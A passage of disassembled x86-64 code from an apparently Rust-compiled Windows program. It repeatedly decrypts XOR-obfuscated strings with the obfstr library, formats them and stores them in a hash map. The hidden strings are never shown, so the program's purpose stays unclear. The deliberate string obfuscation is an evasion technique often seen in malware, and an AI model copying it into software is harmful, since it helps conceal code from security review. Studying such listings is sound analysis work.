je 0x14006611f
mov r8, qword [rsp + 0xd8]
mov rcx, qword [0x1404a5110]
xor edx, edx
call fcn.14021a7bc
lea rax, [0x1403b3c13]
mov qword [rsp + 0xd0], rax
lea rax, [rsp + 0xd0]
mov rcx, qword [rsp + 0xd0]
mov dword [rsp + 0xd0], 0xc8a0f41a
mov edx, dword [rsp + 0xd0]
call sym.obfstr::xref::inner::h057418acc06e1149
mov esi, dword [rax]
movzx edi, word [rax + 4]
movzx ebp, byte [rax + 6]
movzx eax, byte [0x1404a5170]
mov edx, 7
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x14006e6b5
shl ebp, 0x10
or edi, ebp
mov ecx, edi
shr ecx, 0x10
xor cl, 0xaa
movzx ecx, cl
mov byte [rax + 6], cl
shl rcx, 0x30
mov edx, edi
shr edx, 8
xor dl, 0x2d
movzx edx, dl
shl rdx, 0x28
or rdx, rcx
xor dil, 0xec
movzx ecx, dil
shl rcx, 0x20
or rcx, rdx
xor esi, 0xcd5571db
mov dword [rax], esi
shr rcx, 0x20
mov word [rax + 4], cx
mov qword [rsp + 0x900], 7
mov qword [rsp + 0x908], rax
mov qword [rsp + 0x910], 7
lea rax, [0x1403bd1ff]
mov qword [rsp + 0xd0], rax
lea rax, [rsp + 0xd0]
mov rcx, qword [rsp + 0xd0]
mov dword [rsp + 0xd0], 0x3e95fb59
lea rsi, [rsp + 0xd0]
mov edx, dword [rsp + 0xd0]
call sym.obfstr::xref::inner::hfe6a08d9d0d5ca23
movabs rcx, 0xe9a1d534cfd2263e
xor rcx, qword [rax]
movabs rdx, 0x73e93942b3e0aa57
xor rdx, qword [rax + 8]
movabs r8, 0xeae36e41cceb3762
xor r8, qword [rax + 0x10]
movabs r9, 0xa0a58d84624ab754
xor r9, qword [rax + 0x18]
movabs r10, 0x62a8cc5833b5a4ce
xor r10, qword [rax + 0x20]
movabs r11, 0x6e57c2e91f5dc8e9
xor r11, qword [rax + 0x28]
movabs rdi, 0x1f9a9625575f946c
xor rdi, qword [rax + 0x30]
movzx eax, byte [rax + 0x38]
xor al, 0xca
mov qword [rsp + 0xd0], rcx
mov qword [rsp + 0xd8], rdx
mov qword [rsp + 0xe0], r8
mov qword [rsp + 0xe8], r9
mov qword [rsp + 0xf0], r10
mov qword [rsp + 0xf8], r11
mov qword [rsp + 0x100], rdi
mov byte [rsp + 0x108], al
mov qword [rsp + 0xf90], rsi
mov qword [rsp + 0xf98], 0x39
mov qword [rsp + 0x5e0], r14
lea rax, [sym.__T_as_core::fmt::Display_::fmt::h0c1c1885e94652ba]
mov qword [rsp + 0x5e8], rax
lea rcx, [rsp + 0xf90]
mov qword [rsp + 0x5f0], rcx
mov qword [rsp + 0x5f8], rax
mov qword [rsp + 0xbd0], rbx
mov qword [rsp + 0xbd8], 2
mov qword [rsp + 0xbf0], 0
lea rax, [rsp + 0x5e0]
mov qword [rsp + 0xbe0], rax
mov qword [rsp + 0xbe8], 2
lea rsi, [rsp + 0x1a20]
lea rdx, [rsp + 0xbd0]
mov rcx, rsi
call sym.alloc::fmt::format::format_inner::hb636fee45517645d
lea rcx, [rsp + 0xd0]
lea rdx, [rsp + 0x1240]
lea r8, [rsp + 0x900]
mov r9, rsi
call sym.hashbrown::map::HashMap_K_V_S_A_::insert::h6e5d647f7e0e58d1
mov rax, qword [rsp + 0xd0]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x1400663b0
test rax, rax
je 0x1400663b0
mov r8, qword [rsp + 0xd8]
mov rcx, qword [0x1404a5110]
xor edx, edx
call fcn.14021a7bc
lea rax, [0x1403b6d8d]
mov qword [rsp + 0xd0], rax
lea rax, [rsp + 0xd0]
mov rcx, qword [rsp + 0xd0]
mov dword [rsp + 0xd0], 0xe1be4f86
mov edx, dword [rsp + 0xd0]
call sym.obfstr::xref::inner::haa4fb837352fd452
mov esi, dword [rax]
movzx edi, word [rax + 4]
movzx ebp, byte [rax + 6]
movzx eax, byte [0x1404a5170]
mov edx, 7
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x14006e6b5
shl ebp, 0x10
or edi, ebp
mov ecx, edi
shr ecx, 0x10
xor cl, 0x50
movzx ecx, cl
mov byte [rax + 6], cl
shl rcx, 0x30
mov edx, edi
shr edx, 8
xor dl, 0x95
movzx edx, dl
shl rdx, 0x28
or rdx, rcx
xor dil, 0x5b
movzx ecx, dil
shl rcx, 0x20
or rcx, rdx
xor esi, 0xa06d133e
mov dword [rax], esi
shr rcx, 0x20
mov word [rax + 4], cx
mov qword [rsp + 0x900], 7
mov qword [rsp + 0x908], rax
mov qword [rsp + 0x910], 7
lea rax, [0x1403b2950]
mov qword [rsp + 0xd0], rax
lea rax, [rsp + 0xd0]
mov rcx, qword [rsp + 0xd0]
mov dword [rsp + 0xd0], 0xe8e316c2
lea rsi, [rsp + 0xd0]
mov edx, dword [rsp + 0xd0]
call sym.obfstr::xref::inner::h6b0d5075ec1d77da
movabs rcx, 0xf3baaf0524cd3a65
xor rcx, qword [rax]
movabs rdx, 0x90aab4726d11d928
xor rdx, qword [rax + 8]
movabs r8, 0x7699ac2d02b67b60
xor r8, qword [rax + 0x10]
movabs r9, 0x679ff273209999c3
xor r9, qword [rax + 0x18]
movabs r10, 0xa8f686f1a3ea0dfb
xor r10, qword [rax + 0x20]
movabs r11, 0xbb9ff33c7d3bc645
xor r11, qword [rax + 0x28]
movabs rdi, 0x4e8c7685faf269c0
xor rdi, qword [rax + 0x30]
movzx eax, byte [rax + 0x38]
xor al, 0xcb
mov qword [rsp + 0xd0], rcx
mov qword [rsp + 0xd8], rdx
mov qword [rsp + 0xe0], r8
mov qword [rsp + 0xe8], r9
mov qword [rsp + 0xf0], r10
mov qword [rsp + 0xf8], r11
mov qword [rsp + 0x100], rdi
mov byte [rsp + 0x108], al
mov qword [rsp + 0xf90], rsi
mov qword [rsp + 0xf98], 0x39
mov qword [rsp + 0x5e0], r14
lea rax, [sym.__T_as_core::fmt::Display_::fmt::h0c1c1885e94652ba]
mov qword [rsp + 0x5e8], rax
lea rcx, [rsp + 0xf90]
mov qword [rsp + 0x5f0], rcx
mov qword [rsp + 0x5f8], rax
mov qword [rsp + 0xbd0], rbx
mov qword [rsp + 0xbd8], 2
mov qword [rsp + 0xbf0], 0
lea rax, [rsp + 0x5e0]
mov qword [rsp + 0xbe0], rax
mov qword [rsp + 0xbe8], 2
lea rsi, [rsp + 0x1a38]
lea rdx, [rsp + 0xbd0]
mov rcx, rsi
call sym.alloc::fmt::format::format_inner::hb636fee45517645d
lea rcx, [rsp + 0xd0]
lea rdx, [rsp + 0x1240]
lea r8, [rsp + 0x900]
mov r9, rsi
call sym.hashbrown::map::HashMap_K_V_S_A_::insert::h6e5d647f7e0e58d1
mov rax, qword [rsp + 0xd0]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x140066641
test rax, rax
je 0x140066641
mov r8, qword [rsp + 0xd8]
mov rcx, qword [0x1404a5110]
xor edx, edx
call fcn.14021a7bc
lea rax, [0x1403b50fe]
mov qword [rsp + 0xd0], rax
lea rax, [rsp + 0xd0]
mov rcx, qword [rsp + 0xd0]
mov dword [rsp + 0xd0], 0x4e79d49
mov edx, dword [rsp + 0xd0]
call sym.obfstr::xref::inner::hfc76e842d3f8da0d
mov esi, dword [rax]
movzx edi, word [rax + 4]
movzx ebp, byte [rax + 6]
movzx eax, byte [0x1404a5170]
mov edx, 7
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x14006e6b5
shl ebp, 0x10
or edi, ebp
mov ecx, edi
shr ecx, 0x10
xor cl, 0x93
movzx ecx, cl
mov byte [rax + 6], cl
shl rcx, 0x30
mov edx, edi
shr edx, 8
xor dl, 0x57
movzx edx, dl
shl rdx, 0x28
or rdx, rcx
xor dil, 0xad
movzx ecx, dil
shl rcx, 0x20
or rcx, rdx
xor esi, 0x90da5bdd
mov dword [rax], esi
shr rcx, 0x20
mov word [rax + 4], cx
mov qword [rsp + 0x900], 7
mov qword [rsp + 0x908], rax
mov qword [rsp + 0x910], 7
lea rax, [0x1403bd80c]
mov qword [rsp + 0xd0], rax
lea rax, [rsp + 0xd0]
mov rcx, qword [rsp + 0xd0]
mov dword [rsp + 0xd0], 0x1f34c83d
lea rsi, [rsp + 0xd0]
mov edx, dword [rsp + 0xd0]
call sym.obfstr::xref::inner::h569744e73a9f07ca
movabs rcx, 0xda0eaecb370bddf1
xor rcx, qword [rax]
movabs rdx, 0x39d5d5c5f52eed20
xor rdx, qword [rax + 8]
movabs r8, 0xa8bb4c37eecbba13
xor r8, qword [rax + 0x10]
movabs r9, 0xdb1ca533e6845989
xor r9, qword [rax + 0x18]
movabs r10, 0x8f6a5d4fb8e6bf2e
xor r10, qword [rax + 0x20]
movabs r11, 0x275f349c5cb83aee
xor r11, qword [rax + 0x28]
movabs rdi, 0x551156e2f8565b3a
xor rdi, qword [rax + 0x30]
movzx eax, byte [rax + 0x38]
xor al, 0x84
mov qword [rsp + 0xd0], rcx
mov qword [rsp + 0xd8], rdx
mov qword [rsp + 0xe0], r8
mov qword [rsp + 0xe8], r9
mov qword [rsp + 0xf0], r10
mov qword [rsp + 0xf8], r11
mov qword [rsp + 0x100], rdi
mov byte [rsp + 0x108], al
mov qword [rsp + 0xf90], rsi
mov qword [rsp + 0xf98], 0x39
mov qword [rsp + 0x5e0], r14
lea rax, [sym.__T_as_core::fmt::Display_::fmt::h0c1c1885e94652ba]
mov qword [rsp + 0x5e8], rax
lea rcx, [rsp + 0xf90]
mov qword [rsp + 0x5f0], rcx
mov qword [rsp + 0x5f8], rax
mov qword [rsp + 0xbd0], rbx
mov qword [rsp + 0xbd8], 2
mov qword [rsp + 0xbf0], 0
lea rax, [rsp + 0x5e0]
mov qword [rsp + 0xbe0], rax
mov qword [rsp + 0xbe8], 2
lea rsi, [rsp + 0x1a50]
lea rdx, [rsp + 0xbd0]
mov rcx, rsi
call sym.alloc::fmt::format::format_inner::hb636fee45517645d
lea rcx, [rsp + 0xd0]
lea rdx, [rsp + 0x1240]
lea r8, [rsp + 0x900]
mov r9, rsi
call sym.hashbrown::map::HashMap_K_V_S_A_::insert::h6e5d647f7e0e58d1
mov rax, qword [rsp + 0xd0]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x1400668d2
test rax, rax
je 0x1400668d2
mov r8, qword [rsp + 0xd8]
mov rcx, qword [0x1404a5110]
xor edx, edx
call fcn.14021a7bc
lea rax, [0x1403b5ee7]
mov qword [rsp + 0xd0], rax
lea rax, [rsp + 0xd0]
mov rcx, qword [rsp + 0xd0]
mov dword [rsp + 0xd0], 0x5510ed82
mov edx, dword [rsp + 0xd0]
call sym.obfstr::xref::inner::h1d8cb3e94f0cef45
mov esi, dword [rax]
movzx edi, word [rax + 4]
movzx ebp, byte [rax + 6]
movzx eax, byte [0x1404a5170]
mov edx, 7
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x14006e6b5
shl ebp, 0x10
or edi, ebp
mov ecx, edi
shr ecx, 0x10
xor cl, 0x36
movzx ecx, cl
mov byte [rax + 6], cl
shl rcx, 0x30
mov edx, edi
shr edx, 8
xor dl, 0xf
movzx edx, dl
shl rdx, 0x28
or rdx, rcx
xor dil, 0x70
movzx ecx, dil
shl rcx, 0x20
or rcx, rdx
xor esi, 0x1dfb3c49
mov dword [rax], esi
shr rcx, 0x20
mov word [rax + 4], cx
mov qword [rsp + 0x900], 7
mov qword [rsp + 0x908], rax
mov qword [rsp + 0x910], 7
lea rax, [0x1403ada85]
mov qword [rsp + 0xd0], rax
lea rax, [rsp + 0xd0]
mov rcx, qword [rsp + 0xd0]
mov dword [rsp + 0xd0], 0xcaee1f63
lea rsi, [rsp + 0xd0]
mov edx, dword [rsp + 0xd0]
call sym.obfstr::xref::inner::h1d28b5f792b1fcfe
movabs rcx, 0xf65b4a767e320396
xor rcx, qword [rax]
movabs rdx, 0x8eb0f2ad7dad7a7c
xor rdx, qword [rax + 8]
movabs r8, 0xc851e2ef8c46413f
xor r8, qword [rax + 0x10]
movabs r9, 0x3e7363d4758365c9
xor r9, qword [rax + 0x18]
movabs r10, 0x247898e5133090d0
xor r10, qword [rax + 0x20]
movabs r11, 0x880edb5cdbe049b7
xor r11, qword [rax + 0x28]
movabs rdi, 0x1ff685193fcb2f2e
xor rdi, qword [rax + 0x30]
movzx eax, byte [rax + 0x38]
xor al, 0xd3
mov qword [rsp + 0xd0], rcx
mov qword [rsp + 0xd8], rdx
mov qword [rsp + 0xe0], r8
mov qword [rsp + 0xe8], r9
mov qword [rsp + 0xf0], r10
mov qword [rsp + 0xf8], r11
mov qword [rsp + 0x100], rdi
mov byte [rsp + 0x108], al
mov qword [rsp + 0xf90], rsi
mov qword [rsp + 0xf98], 0x39
mov qword [rsp + 0x5e0], r14
lea rax, [sym.__T_as_core::fmt::Display_::fmt::h0c1c1885e94652ba]
mov qword [rsp + 0x5e8], rax
lea rcx, [rsp + 0xf90]
mov qword [rsp + 0x5f0], rcx
mov qword [rsp + 0x5f8], rax
mov qword [rsp + 0xbd0], rbx
mov qword [rsp + 0xbd8], 2
mov qword [rsp + 0xbf0], 0
lea rax, [rsp + 0x5e0]
mov qword [rsp + 0xbe0], rax
mov qword [rsp + 0xbe8], 2
lea rsi, [rsp + 0x1a68]
lea rdx, [rsp + 0xbd0]
mov rcx, rsi
call sym.alloc::fmt::format::format_inner::hb636fee45517645d
lea rcx, [rsp + 0xd0]
lea rdx, [rsp + 0x1240]
lea r8, [rsp + 0x900]
mov r9, rsi
call sym.hashbrown::map::HashMap_K_V_S_A_::insert::h6e5d647f7e0e58d1
mov rax, qword [rsp + 0xd0]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x140066b63
test rax, rax
je 0x140066b63
mov r8, qword [rsp + 0xd8]
mov rcx, qword [0x1404a5110]
xor edx, edx
call fcn.14021a7bc
lea rax, str._Jz_P
mov qword [rsp + 0xd0], rax
lea rax, [rsp + 0xd0]
mov rcx, qword [rsp + 0xd0]
mov dword [rsp + 0xd0], 0xf1164286
mov edx, dword [rsp + 0xd0]
call sym.obfstr::xref::inner::hbc620666461ad363
mov r15, qword [rax]
mov rdi, qword [rax + 8]
mov esi, dword [rax + 0x10]
movzx eax, byte [0x1404a5170]
mov edx, 0x14
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x14006e83b
xor esi, 0x90a0ea44
movabs rcx, 0x71c97dffa6fca710
xor rdi, rcx
movabs rcx, 0xb94981ae92c1144a
xor r15, rcx
mov qword [rax], r15
mov qword [rax + 8], rdi
mov dword [rax + 0x10], esi
mov qword [rsp + 0x900], 0x14
mov qword [rsp + 0x908], rax
mov qword [rsp + 0x910], 0x14
lea rax, [0x1403b6bd2]
mov qword [rsp + 0xd0], rax
lea rax, [rsp + 0xd0]
mov rcx, qword [rsp + 0xd0]
mov dword [rsp + 0xd0], 0x82500e5e
lea rsi, [rsp + 0xd0]
mov edx, dword [rsp + 0xd0]
call sym.obfstr::xref::inner::h69b02df262866f34
movabs rcx, 0xe164e762ee6f8cd8
xor rcx, qword [rax]
movabs rdx, 0x9fd10e5dcc9bad66
xor rdx, qword [rax + 8]
movabs r8, 0x23fba0a77d44db50
xor r8, qword [rax + 0x10]
movabs r9, 0xaf26fcc4aa020150
xor r9, qword [rax + 0x18]
movabs r10, 0xcb4cedf6776d7fb
xor r10, qword [rax + 0x20]
movabs r11, 0xf077bc5f3883e968
xor r11, qword [rax + 0x28]
mov edi, 0xf877ab81
xor edi, dword [rax + 0x30]
movzx eax, word [rax + 0x34]
mov ebp, eax
xor bpl, 0x42
shr eax, 8
xor al, 0x2d
mov qword [rsp + 0xd0], rcx
mov qword [rsp + 0xd8], rdx
mov qword [rsp + 0xe0], r8
mov qword [rsp + 0xe8], r9
mov qword [rsp + 0xf0], r10
mov qword [rsp + 0xf8], r11
mov dword [rsp + 0x100], edi
mov byte [rsp + 0x104], bpl
mov byte [rsp + 0x105], al
mov qword [rsp + 0xf90], rsi
mov qword [rsp + 0xf98], 0x36
mov qword [rsp + 0x5e0], r14
lea rax, [sym.__T_as_core::fmt::Display_::fmt::h0c1c1885e94652ba]
mov qword [rsp + 0x5e8], rax
lea rcx, [rsp + 0xf90]
mov qword [rsp + 0x5f0], rcx
mov qword [rsp + 0x5f8], rax
mov qword [rsp + 0xbd0], rbx
mov qword [rsp + 0xbd8], 2
mov qword [rsp + 0xbf0], 0
lea rax, [rsp + 0x5e0]
mov qword [rsp + 0xbe0], rax
mov qword [rsp + 0xbe8], 2
lea rsi, [rsp + 0x1a80]
lea rdx, [rsp + 0xbd0]
mov rcx, rsi
call sym.alloc::fmt::format::format_inner::hb636fee45517645d
lea rcx, [rsp + 0xd0]
lea rdx, [rsp + 0x1240]
lea r8, [rsp + 0x900]
mov r9, rsi
call sym.hashbrown::map::HashMap_K_V_S_A_::insert::h6e5d647f7e0e58d1
mov rax, qword [rsp + 0xd0]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x140066de0
test rax, rax
je 0x140066de0
mov r8, qword [rsp + 0xd8]
mov rcx, qword [0x1404a5110]
xor edx, edx
call fcn.14021a7bc
lea rax, [0x1403b4110]
mov qword [rsp + 0xd0], rax
lea rax, [rsp + 0xd0]
mov rcx, qword [rsp + 0xd0]
mov dword [rsp + 0xd0], 0xff7f4504
mov edx, dword [rsp + 0xd0]
call sym.obfstr::xref::inner::h385ad7cc1b73afae
mov rdi, qword [rax]
mov esi, dword [rax + 8]
movzx ebp, word [rax + 0xc]
movzx eax, byte [0x1404a5170]
mov edx, 0xe
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x14006e785
xor esi, 0xc6b76c0c
movabs rcx, 0x5aafcc1ab91cd6bf
xor rdi, rcx
mov ecx, ebp
shr ecx, 8
xor cl, 0xcb
xor bpl, 0x77
mov qword [rax], rdi
mov dword [rax + 8], esi
mov byte [rax + 0xc], bpl
mov byte [rax + 0xd], cl
mov qword [rsp + 0x900], 0xe
mov qword [rsp + 0x908], rax
mov qword [rsp + 0x910], 0xe
lea rax, [0x1403b8d30]
mov qword [rsp + 0xd0], rax
lea rax, [rsp + 0xd0]
mov rcx, qword [rsp + 0xd0]
mov dword [rsp + 0xd0], 0x29c50b98
lea rsi, [rsp + 0xd0]
mov edx, dword [rsp + 0xd0]
call sym.obfstr::xref::inner::hce917e2cb95c4ff6
movabs rcx, 0xca888b5c68dcc831
xor rcx, qword [rax]
movabs rdx, 0x6c2944baa78fb30d
xor rdx, qword [rax + 8]
movabs r8, 0xa7197dcd37afa45
xor r8, qword [rax + 0x10]
movabs r9, 0x9d53013729cb78b9
xor r9, qword [rax + 0x18]
movabs r10, 0x5e73a4ac53c66e2d
xor r10, qword [rax + 0x20]
movabs r11, 0x9b9de00c76200a3f
xor r11, qword [rax + 0x28]
movabs rdi, 0x39222753d4120b82
xor rdi, qword [rax + 0x30]
mov qword [rsp + 0xd0], rcx
mov qword [rsp + 0xd8], rdx
mov qword [rsp + 0xe0], r8
mov qword [rsp + 0xe8], r9
mov qword [rsp + 0xf0], r10
mov qword [rsp + 0xf8], r11
mov qword [rsp + 0x100], rdi
mov qword [rsp + 0xf90], rsi
mov qword [rsp + 0xf98], 0x38
mov qword [rsp + 0x5e0], r14
lea rax, [sym.__T_as_core::fmt::Display_::fmt::h0c1c1885e94652ba]
mov qword [rsp + 0x5e8], rax
lea rcx, [rsp + 0xf90]
mov qword [rsp + 0x5f0], rcx
mov qword [rsp + 0x5f8], rax
mov qword [rsp + 0xbd0], rbx
mov qword [rsp + 0xbd8], 2
mov qword [rsp + 0xbf0], 0
lea rbp, [rsp + 0x5e0]
mov qword [rsp + 0xbe0], rbp
mov qword [rsp + 0xbe8], 2
lea rsi, [rsp + 0x1a98]
lea rdx, [rsp + 0xbd0]
mov rcx, rsi
call sym.alloc::fmt::format::format_inner::hb636fee45517645d
lea rcx, [rsp + 0xd0]
lea rdx, [rsp + 0x1240]
lea r8, [rsp + 0x900]
mov r9, rsi
call sym.hashbrown::map::HashMap_K_V_S_A_::insert::h6e5d647f7e0e58d1
mov rax, qword [rsp + 0xd0]
movabs r15, 0x8000000000000000
cmp rax, r15
je 0x140067048
test rax, rax
je 0x140067048
mov r8, qword [rsp + 0xd8]
mov rcx, qword [0x1404a5110]
xor edx, edx
call fcn.14021a7bc
lea rax, [0x1403b312e]
mov qword [rsp + 0xd0], rax
lea rax, [rsp + 0xd0]
mov rcx, qword [rsp + 0xd0]
mov dword [rsp + 0xd0], 0x9482bc24
mov edx, dword [rsp + 0xd0]
call sym.obfstr::xref::inner::h7bcfa22694c8374e
mov esi, dword [rax]
movzx eax, byte [0x1404a5170]
mov edx, 4
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x14006e84a
xor esi, 0x6c2de380
mov dword [rax], esi
mov qword [rsp + 0x900], 4
mov qword [rsp + 0x908], rax
mov qword [rsp + 0x910], 4
lea rax, [0x1403bd6c6]
mov qword [rsp + 0xd0], rax
lea rax, [rsp + 0xd0]
mov rcx, qword [rsp + 0xd0]
mov dword [rsp + 0xd0], 0x1bcafbc9
lea rsi, [rsp + 0xd0]
mov edx, dword [rsp + 0xd0]
call sym.obfstr::xref::inner::h699ac89c4135ec1a
movabs rcx, 0x2029a4fc613c3864
xor rcx, qword [rax]
movabs rdx, 0x5a57ff9a8273fa47
xor rdx, qword [rax + 8]
movabs r8, 0xfbb4a9011394448
xor r8, qword [rax + 0x10]
movabs r9, 0x1e3566f1bbc64564
xor r9, qword [rax + 0x18]
movabs r10, 0xbf6ad030ef88ef04
xor r10, qword [rax + 0x20]
movabs r11, 0x80b33ade48f8f246
xor r11, qword [rax + 0x28]
movabs rdi, 0xc1eb81d01af9ac6a
xor rdi, qword [rax + 0x30]
mov qword [rsp + 0xd0], rcx
mov qword [rsp + 0xd8], rdx
mov qword [rsp + 0xe0], r8
mov qword [rsp + 0xe8], r9
mov qword [rsp + 0xf0], r10
mov qword [rsp + 0xf8], r11
mov qword [rsp + 0x100], rdi
mov qword [rsp + 0xf90], rsi
mov qword [rsp + 0xf98], 0x38
mov qword [rsp + 0x5e0], r14
lea rax, [sym.__T_as_core::fmt::Display_::fmt::h0c1c1885e94652ba]
mov qword [rsp + 0x5e8], rax
lea rcx, [rsp + 0xf90]
mov qword [rsp + 0x5f0], rcx
mov qword [rsp + 0x5f8], rax
mov qword [rsp + 0xbd0], rbx
mov qword [rsp + 0xbd8], 2
mov qword [rsp + 0xbf0], 0
mov qword [rsp + 0xbe0], rbp
mov qword [rsp + 0xbe8], 2
lea rsi, [rsp + 0x1ab0]
lea rdx, [rsp + 0xbd0]
mov rcx, rsi
call sym.alloc::fmt::format::format_inner::hb636fee45517645d
lea rcx, [rsp + 0xd0]
lea rdx, [rsp + 0x1240]
lea r8, [rsp + 0x900]
mov r9, rsi
call sym.hashbrown::map::HashMap_K_V_S_A_::insert::h6e5d647f7e0e58d1
mov rax, qword [rsp + 0xd0]
cmp rax, r15
je 0x140067272
test rax, rax
je 0x140067272
mov r8, qword [rsp + 0xd8]
mov rcx, qword [0x1404a5110]
xor edx, edx
call fcn.14021a7bc
lea rax, [0x1403ba1e4]
mov qword [rsp + 0xd0], rax
lea rax, [rsp + 0xd0]
mov rcx, qword [rsp + 0xd0]
mov dword [rsp + 0xd0], 0x15895109
mov edx, dword [rsp + 0xd0]
call sym.obfstr::xref::inner::h62fd6d34a7b8d859
mov esi, dword [rax]
movzx edi, word [rax + 4]
movzx eax, byte [0x1404a5170]
mov edx, 6
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x14006e751
mov ecx, edi
shr ecx, 8
xor cl, 0xc2
movzx ecx, cl
shl rcx, 0x28
xor dil, 0xe1
movzx edx, dil
shl rdx, 0x20
or rdx, rcx
xor esi, 0x12c074ef
mov dword [rax], esi
shr rdx, 0x20
mov word [rax + 4], dx
mov qword [rsp + 0x900], 6
mov qword [rsp + 0x908], rax
mov qword [rsp + 0x910], 6
lea rax, [0x1403b1732]
mov qword [rsp + 0xd0], rax
lea rax, [rsp + 0xd0]
mov rcx, qword [rsp + 0xd0]
mov dword [rsp + 0xd0], 0xa6327c79
lea rsi, [rsp + 0xd0]
mov edx, dword [rsp + 0xd0]
call sym.obfstr::xref::inner::h4b3d6bb57493cae6
movabs rcx, 0xd72ae935062a9199
xor rcx, qword [rax]
movabs rdx, 0x223d3130cb8d8a53
xor rdx, qword [rax + 8]
movabs r8, 0x193a2bae0775149d
xor r8, qword [rax + 0x10]
movabs r9, 0x5f6b6e38d5b774a9
xor r9, qword [rax + 0x18]
movabs r10, 0xba9f523567229aae
xor r10, qword [rax + 0x20]
movabs r11, 0x207a0e7f4be29179
xor r11, qword [rax + 0x28]
movabs rdi, 0x5f92c562570e0a05
xor rdi, qword [rax + 0x30]
mov ebp, 0xe0ee595d
xor ebp, dword [rax + 0x38]
movzx eax, word [rax + 0x3c]
mov qword [rsp + 0xd0], rcx
mov qword [rsp + 0xd8], rdx
mov qword [rsp + 0xe0], r8
mov qword [rsp + 0xe8], r9
mov qword [rsp + 0xf0], r10
mov qword [rsp + 0xf8], r11
mov qword [rsp + 0x100], rdi
mov dword [rsp + 0x108], ebp
mov ecx, eax
xor cl, 0x5f
mov byte [rsp + 0x10c], cl
shr eax, 8
xor al, 0x7b
mov byte [rsp + 0x10d], al
mov qword [rsp + 0xf90], rsi
mov qword [rsp + 0xf98], 0x3e
mov qword [rsp + 0x5e0], r14
lea rax, [sym.__T_as_core::fmt::Display_::fmt::h0c1c1885e94652ba]
mov qword [rsp + 0x5e8], rax
lea rcx, [rsp + 0xf90]
mov qword [rsp + 0x5f0], rcx
mov qword [rsp + 0x5f8], rax
mov qword [rsp + 0xbd0], rbx
mov qword [rsp + 0xbd8], 2
mov qword [rsp + 0xbf0], 0
lea rax, [rsp + 0x5e0]
mov qword [rsp + 0xbe0], rax
mov qword [rsp + 0xbe8], 2
lea rsi, [rsp + 0x1ac8]
lea rdx, [rsp + 0xbd0]
mov rcx, rsi
call sym.alloc::fmt::format::format_inner::hb636fee45517645d
lea rcx, [rsp + 0xd0]
lea rdx, [rsp + 0x1240]
lea r8, [rsp + 0x900]
mov r9, rsi
call sym.hashbrown::map::HashMap_K_V_S_A_::insert::h6e5d647f7e0e58d1
mov rax, qword [rsp + 0xd0]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x140067503
test rax, rax
je 0x140067503
mov r8, qword [rsp + 0xd8]
mov rcx, qword [0x1404a5110]
xor edx, edx
call fcn.14021a7bc
lea rax, [0x1403b963e]
mov qword [rsp + 0xd0], rax
lea rax, [rsp + 0xd0]
mov rcx, qword [rsp + 0xd0]
mov dword [rsp + 0xd0], 0x2f92ea3a
mov edx, dword [rsp + 0xd0]
call sym.obfstr::xref::inner::h4abc3cd071b4c1a9
mov esi, dword [rax]
movzx edi, byte [rax + 4]
movzx eax, byte [0x1404a5170]
mov edx, 5
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x14006e6e9
xor dil, 0xa2
xor esi, 0xc3025acf
mov byte [rax + 4], dil
mov dword [rax], esi
mov qword [rsp + 0x900], 5
mov qword [rsp + 0x908], rax
mov qword [rsp + 0x910], 5
lea rax, [0x1403b0adb]
mov qword [rsp + 0xd0], rax
lea rax, [rsp + 0xd0]
mov rcx, qword [rsp + 0xd0]
mov dword [rsp + 0xd0], 0xbf3f13c1
lea rsi, [rsp + 0xd0]
mov edx, dword [rsp + 0xd0]
call sym.obfstr::xref::inner::h4570da7b5a1832e2
movabs rcx, 0x65de09811cd321d5
xor rcx, qword [rax]
movabs rdx, 0x297ef75539210536
xor rdx, qword [rax + 8]
movabs r8, 0x6d3686000511bf7f
xor r8, qword [rax + 0x10]
movabs r9, 0xc001b4f4032dc79b
xor r9, qword [rax + 0x18]
movabs r10, 0xbfd99c4d2576b8db
xor r10, qword [rax + 0x20]
movabs r11, 0xf07b3646065f36c5
xor r11, qword [rax + 0x28]
movabs rdi, 0xa068713240c41eff
xor rdi, qword [rax + 0x30]
movabs r15, 0x5197badf6782a4b5
xor r15, qword [rax + 0x38]
mov ebp, 0x7f4d3e99
xor ebp, dword [rax + 0x40]
movzx eax, byte [rax + 0x44]
mov qword [rsp + 0xd0], rcx
mov qword [rsp + 0xd8], rdx
mov qword [rsp + 0xe0], r8
mov qword [rsp + 0xe8], r9
mov qword [rsp + 0xf0], r10
mov qword [rsp + 0xf8], r11
mov qword [rsp + 0x100], rdi
mov qword [rsp + 0x108], r15
mov dword [rsp + 0x110], ebp
mov qword [rsp + 0xf90], rsi
xor al, 0x16
mov byte [rsp + 0x114], al
mov qword [rsp + 0xf98], 0x45
mov qword [rsp + 0x5e0], r14
lea rax, [sym.__T_as_core::fmt::Display_::fmt::h0c1c1885e94652ba]
mov qword [rsp + 0x5e8], rax
lea rcx, [rsp + 0xf90]
mov qword [rsp + 0x5f0], rcx
mov qword [rsp + 0x5f8], rax
mov qword [rsp + 0xbd0], rbx
mov qword [rsp + 0xbd8], 2
mov qword [rsp + 0xbf0], 0
lea rax, [rsp + 0x5e0]
mov qword [rsp + 0xbe0], rax
mov qword [rsp + 0xbe8], 2
lea rsi, [rsp + 0x1ae0]
